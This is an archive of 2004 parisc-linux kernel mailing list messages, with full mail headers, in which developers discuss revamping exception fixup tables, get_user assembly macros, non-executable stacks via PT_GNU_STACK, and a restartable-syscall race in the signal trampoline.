References: <20040911165325.GO28659@tausq.org>
	<20040912134707.GL1854@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623553 11033 80.91.229.3 (22 Nov 2014 02:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:33 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15171 invoked by uid 65534); 12 Sep 2004 16:16:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 12 Sep 2004 18:16:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C39073BE15; Sun, 12 Sep 2004 10:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04852-04; Sun, 12 Sep 2004 10:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5EF4B3BE4C; Sun, 12 Sep 2004 10:15:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 128393BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:15:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04810-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:15:51 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id C9C643BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:15:50 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 11567CD2CB; Sun, 12 Sep 2004 09:15:51 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040912134707.GL1854@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21976

> > One downside of this approach is that the extra fixup sections take up
> > more space, so the end kernel is bigger. In my test on 64-bit, the
> > kernel size increases by ~2%.
> 
> What is that converted to bytes?

about 100k for 64-bit. should be significantly less for 32-bit.

> Is there ever a case where you want only the faulting instruction and
> not the faulting address aswell? This might be a case for saving a flag,
> if you are going to write to r9 you might aswell write two words,
> anyway? The code has already locked r8/r9 into variables and gcc won't
> do a better job for you.

actually a nice effect of this patch is that you don't need to lock down
r8 and r9 anymore for the get_user/put_user cases. Potentially any 
register can be used to store the error and result values.

i need to do some experiments to verify this, but after thinking
about it more last night, it seems to me that we don't even need to put
the isr/ior into registers in the fault handler.  the fixup code could 
potentially just look at current->thread.regs.isr/ior directly.

> 0x2 = 1 then Write r8/r9 values (slow path)
> 0x2 = 0 then do nothing (fast path)
> 
> Then 0x1 is free to be used for something magical.

sure, that works too.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 13:54:33 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <20040912175433.GQ1854@baldric.uwo.ca>
References: <20040911165325.GO28659@tausq.org>
	<20040912134707.GL1854@baldric.uwo.ca>
	<20040912161550.GR28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623553 11035 80.91.229.3 (22 Nov 2014 02:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:33 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27867 invoked by uid 65534); 12 Sep 2004 17:55:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 12 Sep 2004 19:55:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 674413BE14; Sun, 12 Sep 2004 11:55:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05603-02; Sun, 12 Sep 2004 11:55:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 208C03BE22; Sun, 12 Sep 2004 11:54:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 209903BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 11:54:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04852-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 11:54:38 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C87C93BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 11:54:37 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6YYc-00078k-00; Sun, 12 Sep 2004 13:54:34 -0400
Content-Disposition: inline
In-Reply-To: <20040912161550.GR28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21977

> > What is that converted to bytes?
> 
> about 100k for 64-bit. should be significantly less for 32-bit.

That's quite a bit, but it does make the infrastructure more flexible.
I don't think anyone is going to be building embedded PA systems, but
lets not bloat.
 
> > Is there ever a case where you want only the faulting instruction and
> > not the faulting address aswell? This might be a case for saving a flag,
> > if you are going to write to r9 you might aswell write two words,
> > anyway? The code has already locked r8/r9 into variables and gcc won't
> > do a better job for you.
> 
> actually a nice effect of this patch is that you don't need to lock down
> r8 and r9 anymore for the get_user/put_user cases. Potentially any 
> register can be used to store the error and result values.

I don't see how the fixup code knows which registers to use?

> i need to do some experiments to verify this, but after thinking
> about it more last night, it seems to me that we don't even need to put
> the isr/ior into registers in the fault handler.  the fixup code could 
> potentially just look at current->thread.regs.isr/ior directly.

Yes, that's very true, just fillin those values during the fixup phase.
Then you don't need to use r8/r9 and the flags just become "Yes I care,
please deposit the value" or "No I don't care."

> > 0x2 = 1 then Write r8/r9 values (slow path)
> > 0x2 = 0 then do nothing (fast path)
> > 
> > Then 0x1 is free to be used for something magical.
> 
> sure, that works too.

I'm not sure what we would use the flag for, but it's nice to have it
there. Perhaps we may in the future wish to have absolute and relative
fixups based on the flag? This would reduce the kernel size bloat and
produce faster code again. Technically only the pa_memcpy code is the
only one that would have to enable "absolute" fixups?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Non-executable stack?
Date: Sun, 12 Sep 2004 14:37:48 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <20040912183748.GR1854@baldric.uwo.ca>
References: <20040912143555.GN1854@baldric.uwo.ca>
	<20040912161009.GQ28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623553 11037 80.91.229.3 (22 Nov 2014 02:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>,
 James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22458 invoked by uid 65534); 12 Sep 2004 18:38:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 12 Sep 2004 20:38:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A73973BE21; Sun, 12 Sep 2004 12:38:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05942-03; Sun, 12 Sep 2004 12:38:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6028E3BE22; Sun, 12 Sep 2004 12:38:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB2A43BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:37:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05603-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:37:52 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6B6393BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:37:52 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6ZET-0007G8-00; Sun, 12 Sep 2004 14:37:49 -0400
Content-Disposition: inline
In-Reply-To: <20040912161009.GQ28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21978

Randolph,

> Do you mean on the architecture? Yes, you can. afaik, hpux has a 
> non-executable stack.

Yes, on the architecture. Ah, if HPUX has it then it makes it feasible.
 
> > The only thing that currently comes to mind is that we have return paths
> > from the signal handler as stack code. This is very easy to fix, just
> > put the code statically on the gateway page and allow the user to jump
> > through that back into the kernel.
> 
> do you mean in general, or just in the kernel? do you really mean only
> marking the stack non-executable, or also the heap?

I'm worried about the following case:

a. You compile your program with gcc, a new toolchain, and it emits
   a PT_GNU_STACK that says the stack shouldn't have prot exec.

b. We rely on the stack having prot exec for a kernel signal return
   path.

These two things are mutually exclusive :(
 
> We have various bits of trampolines in a number of applications that 
> could potentially live on the stack. libffi comes to mind....  and
> probably other code that needs to call between languages.

I think I've seen the following listed reasons:

1. GCC uses executable stacks for function trampolines for nested
   functions?

2. Linux uses executable user stacks for signal handling.

3. Functional programming languages, and some other programs, rely on
   executable stacks for run-time code generation.

The 2. is the only worry I have, gcc should be emitting PT_GNU_STACK
properly for the rest.

> why do you want to do this?  because of the direction our stack grows,
> stack overflow protection is not as useful on pa.... not that you cannot
> do stack-smashing attacks on pa, of course...

Well, technically using PT_GNU_STACK we should already support a marked
stack as non-exec if the toolchain generated the requirement. So when
you compile libffi or weird languages gcc will generate the right heaver
value for PT_GNU_STACK and the kernel does the right thing.

Perhaps what I should say clearly is "we need to move our return
trampolines off the stack."

It also fixes the bug we have with the syscall restart block, where if a
restart is issued while we walk the stack trampoline it will clobber the
previous restart. We never fixed this bug.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] syscall restart block.
Date: Sun, 12 Sep 2004 14:45:54 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20040912184553.GT1854@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623554 11042 80.91.229.3 (22 Nov 2014 02:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27454 invoked by uid 65534); 12 Sep 2004 18:46:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 12 Sep 2004 20:46:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C46313BE43; Sun, 12 Sep 2004 12:46:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06037-06; Sun, 12 Sep 2004 12:46:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4B41F3BE25; Sun, 12 Sep 2004 12:46:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 644173BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:45:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06037-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:45:57 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2558A3BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:45:57 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6ZMI-0007Jq-00; Sun, 12 Sep 2004 14:45:54 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21979


jda,

Oh, I realized today we still have a hole in the way we handle
restartable syscalls. Normally the restarter function is placed in a
function descriptor, a stack trampoline is laid down, the user process
is allowed to return, execute the stack trampoline with the modified
syscall number (indicating restart), upon entry to the kernel the
restart function is executed with arugments. 

The problem is that we should in general disable restartable syscalls as
we walk the userspace return trampoline. If the user took a signal
during the trampoline walk, the signal handler could execute a
restartable syscall, and if that syscall was interrupted, the restorer
function would be changed (there is only one entry for a restorer, they
aren't chained). This means that you technically call the wrong syscall
when you unwind from the signal that you took on the stack trampoline.

If we move stack trampolines to the gateway pagethen signals can't be
delivered to the returning process during the trampoline walk (signals
are not allowed to be delivered for processes on the gateway page). So
it fixes our hole too.

It also allows us to interpret PT_GNU_STACK properly, since the kernel
no longer needs to execute a trampoline on the users stack. The
toolchain can now correctly mark the stack as non-exec.

I only just realized we still had this hole and it might manifest itself
under heavy signal load.

Randolph, comments?
Does this analysis sound correct?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 11:48:17 -0700
Lines: 111
Approved: news@gmane.org
Message-ID: <20040912184817.GS28659@tausq.org>
References: <20040911165325.GO28659@tausq.org>
	<20040912134707.GL1854@baldric.uwo.ca>
	<20040912161550.GR28659@tausq.org>
	<20040912175433.GQ1854@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623554 11044 80.91.229.3 (22 Nov 2014 02:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7611 invoked by uid 65534); 12 Sep 2004 18:48:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 12 Sep 2004 20:48:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EC41A3BE4C; Sun, 12 Sep 2004 12:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06054-09; Sun, 12 Sep 2004 12:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 97EF43BE27; Sun, 12 Sep 2004 12:48:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0288E3BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:48:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06037-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:48:16 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 825503BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 12:48:16 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8643CCD392; Sun, 12 Sep 2004 11:48:17 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040912175433.GQ1854@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21980

> That's quite a bit, but it does make the infrastructure more flexible.
> I don't think anyone is going to be building embedded PA systems, but
> lets not bloat.

yes, that's why i brought it up :)

> > actually a nice effect of this patch is that you don't need to lock down
> > r8 and r9 anymore for the get_user/put_user cases. Potentially any 
> > register can be used to store the error and result values.
> 
> I don't see how the fixup code knows which registers to use?

Consider:

#define __get_user_asm(ldx,ptr)                         \
        __asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
                "2:\n"                                  \
                "\t.section .fixup,\"ax\"\n"            \
                "3:\tldi -14, %1\n"                     \
                "\tcopy %%r0, %0\n"                     \
                FIXUP_BRANCH(2b)                        \
                "\t.previous"                           \
                "\t.section __ex_table,\"aw\"\n"        \
                 "\t.word\t1b,3b\n"                     \
                 "\t.previous"                          \
                : "=r"(__gu_val), "=r"(__gu_err)        \
                : "r"(ptr), "1"(__gu_err));

By the time the fixup is called, we are back into user context. the
ldi/copy will write into whatever registers store __gu_val, __gu_err,
and then branch back to "2:", so essentially this code is
self-contained.  There is no real requirements that __gu_val/__gu_err be
in any special registers.

In the original code, we have to write to r8/r9 inside interruption
context, and have the values survive back to user context.

> > i need to do some experiments to verify this, but after thinking
> > about it more last night, it seems to me that we don't even need to put
> > the isr/ior into registers in the fault handler.  the fixup code could 
> > potentially just look at current->thread.regs.isr/ior directly.
> 
> Yes, that's very true, just fillin those values during the fixup phase.
> Then you don't need to use r8/r9 and the flags just become "Yes I care,
> please deposit the value" or "No I don't care."

nono, you don't fill them up in the fixup phase.

when you have a fault, we already store the ior/isr into the pt_regs
structure. so as long as we are not clobbering those in the interruption
exit path, it will still be accessible in the fixup code.

> I'm not sure what we would use the flag for, but it's nice to have it
> there. Perhaps we may in the future wish to have absolute and relative
> fixups based on the flag? This would reduce the kernel size bloat and
> produce faster code again. Technically only the pa_memcpy code is the
> only one that would have to enable "absolute" fixups?

